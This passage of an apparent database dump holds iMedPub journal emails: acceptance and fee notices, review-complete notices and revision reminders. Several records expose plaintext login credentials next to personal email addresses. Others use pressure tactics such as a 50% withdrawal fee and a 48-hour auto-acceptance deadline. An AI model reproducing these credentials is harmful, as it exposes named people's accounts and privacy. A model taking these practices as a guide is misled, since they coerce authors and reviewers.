Title:&nbsp;<b><a href=\"https://www.ijddr.in/\" target=\"_blank\"><span style=\"mso-bidi-font-size:11.0pt;color:blue\">International Journal of Drug Development and Research</span></a></b><br />\r\n            <br />\r\n            Dear Dr.&nbsp;<b>Zhu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in&nbsp;<b>International Journal of Drug Development and Research.</b></span><span style=\"font-size: 6.5pt; font-family: Tahoma, sans-serif; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;\"> </span><span style=\"font-size: 13.5pt; font-family: Arial, sans-serif;\">kindly make a note that there is publication charges depending upon the complexity and economic situation of the country so we would like to raise&nbsp;<strong>1219 Euro</strong><strong>s</strong>&nbsp;that you need to pay us.</span><span style=\"font-size: 13.5pt; font-family: Arial, sans-serif;\"><br />\r\n            <br />\r\n            It is accepted on&nbsp;<b>2020-05-04</b><o:p></o:p></span></p>\r\n            <p class=\"MsoNormal\" style=\"margin-bottom:0in;margin-bottom:.0001pt;line-height:&#10;normal\"><span style=\"font-size: 13.5pt; font-family: Arial, sans-serif;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs. Please mail us at&nbsp;<b><a href=\"mailto:paymentproof@galleyproofs.com\"><span style=\"mso-bidi-font-size:&#10;11.0pt;color:blue\">paymentproof@galleyproofs.com</span></a></b>&nbsp;for further queries by copying/marking Cc to the journal mail id.<o:p></o:p></span></p>\r\n            <p class=\"MsoNormal\"><span style=\"font-size: 13.5pt; line-height: 115%; font-family: Arial, sans-serif;\"><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            </span></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','JerryGenevOkM@yahoo.com',3864,'2020-05-04',376),(1166,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3799</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of arterial stiffness and cardiovascular disease risk factors at King Fahd University Hospital</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tariq Al-Shairbeeny</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3799</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',3799,'2020-05-05',85),(1173,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3799</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of arterial stiffness and cardiovascular disease risk factors at King Fahd University Hospital</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Al-Shairbeeny</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-20-3799</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>tariq</b><br />\r\n            Password : <b>4LHrVtdk</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','medboostkit@gmail.com',3799,'2020-05-07',85),(1174,'<p>Ref.:  Ms. No. : <b>ipaom-20-3787</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Exploration of the nerve electrophysiological Changes in Treatment of Facial Neuritis Through Acupuncture in Combination with Western Medication</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Yang</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3787</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>qing</b><br />\r\npassword: <b>UBEeyoBi</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','qingyang22yang@gmail.com',3787,'2020-05-07',85),(1176,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3831</b><br />\r\n            <br />\r\n            Article Title: <b>Platelet activation in gastrointestinal tumors</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Zsolt Baranyai</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3831</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',3831,'2020-05-07',85),(1177,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3987</b><br />\r\n            <br />\r\n            Article Title: <b>The prevalence of Sexually Transmitted Diseases (STDs) among 25-60 years old men in Iran</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fereshteh Aliakbari</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3987</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',3987,'2020-05-07',85),(1182,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3808</b><br />\r\n            <br />\r\n            Article Title: <b>Proposed Phenotype for Females with a SETD5 Gene Variation: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-20-3808</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','rubidoc@gmail.com',3808,'2020-05-08',75),(1183,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3657</b><br />\r\n            <br />\r\n            Article Title: <b>The efficacy of anti-inflammatory medication in postoperative cognitive decline: A meta-analysis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lieke Jorna</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3657</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3657,'2020-05-08',75),(1184,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3657</b><br />\r\n            <br />\r\n            Article Title: <b>The efficacy of anti-inflammatory medication in postoperative cognitive decline: A meta-analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jorna</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','l.s.jorna@umcg.nl',3657,'2020-05-08',75),(1189,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4011</b><br />\r\n            <br />\r\n            Article Title: <b>A follow up study on false-positive preoperative HIV test results</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nakagiri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nakagiri@med.kawasaki-m.ac.jp',4011,'2020-05-11',48),(1204,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4011</b><br />\r\n            <br />\r\n            Article Title: <b>A follow up study on false-positive preoperative HIV test results</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nakagiri</b><br />\r\n            <p style=\"background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;\"><span style=\"font-family: Calibri, sans-serif;\"><o:p></o:p></span></p>\r\n            <p style=\"background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;\"><span style=\"font-family: Calibri, sans-serif;\"><o:p></o:p></span></p>\r\n            <p>It&rsquo;s really saddened to know that you want to withdraw your paper at this stage where we had displayed a lot of grit and determination to complete the review process and proofreading of your article in our Management System. We have used the latest technologies in preparing the Pdf of our article with high quality graphics. For Issue Release we have decided to get your article published.</p>\r\n            <p>Withdrawal at this stage will charge you 50% of publication fee&nbsp;as it&rsquo;s in the last stage of processing. You need to withdraw officially so that we can remove your article from our database</p>\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">But still we hope you will allow us to publish your article in our esteemed journal. An author like you is a blessing for the scientific field and we really don&rsquo;t want to lose a reputed author in scientific field<a id=\"fck_paste_padding\"></a></div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','nakagiri@med.kawasaki-m.ac.jp',4011,'2020-05-13',48),(1205,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3874</b><br />\r\n            <br />\r\n            Article Title: <b>A meta-analysis on improving the outcomes of cardiopulmonary resuscitation: Needs much more to be done!</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ding Banghan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3874</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',3874,'2020-05-13',85),(1207,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4001</b><br />\r\n            <br />\r\n            Article Title: <b>PREVALENCE OF WORK-RELATED MUSCULOSKELETAL SYMPTOMS AMONG COMPUTER OPERATORS IN INFORMATION TECHNOLOGY OFFICES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Waqas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','waqasphysio@gmail.com',4001,'2020-05-14',48),(1208,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4003</b><br />\r\n            <br />\r\n            Article Title: <b>Magnitude of Induced Abortion and Associated Factors among Female Students of Hawassa University, Southern Region, Ethiopia, 2019.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sahile</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sahdis91@gmail.com',4003,'2020-05-14',48),(1219,'<p>Ref.:  Ms. No. : <b>ipaom-20-3987</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The prevalence of Sexually Transmitted Diseases (STDs) among 25-60 years old men in Iran</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Aliakbari</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3987</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>fereshteh</b><br />\r\npassword: <b>x152do09</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','f_aliakbari2017@sbmu.ac.ir',3987,'2020-05-18',85),(1220,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4058</b><br />\r\n            <br />\r\n            Article Title: <b>Systemic lupus revealed by pneumonia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jaouad yousfi</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4058</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',4058,'2020-05-18',85),(1222,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4070</b><br />\r\n            <br />\r\n            Article Title: <b>Hospitalization Rate and Days Spent at Home as Value-Based Outcome Measures for People with Intellectual and Developmental Disabilities</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>R. Mills</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','William.Mills@brightspringhealth.com',4070,'2020-05-18',48),(1223,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3997</b><br />\r\n            <br />\r\n            Article Title: <b>Comparison of Intraoral External Oblique Ridge Fixation and Transbuccal Lateral Cortical Plate Fixation for Mandibular Angle Fracture &ndash; A randomized Control Trial</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Muddassar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ayyaan28@hotmail.com',3997,'2020-05-18',48),(1228,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2697</b><br />\r\n            <br />\r\n            Article Title: <b>Synthesis, Characterization and Anti-inflammatory activities of N-aryl substituted benzenesulphonamide derivatives</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ebuka 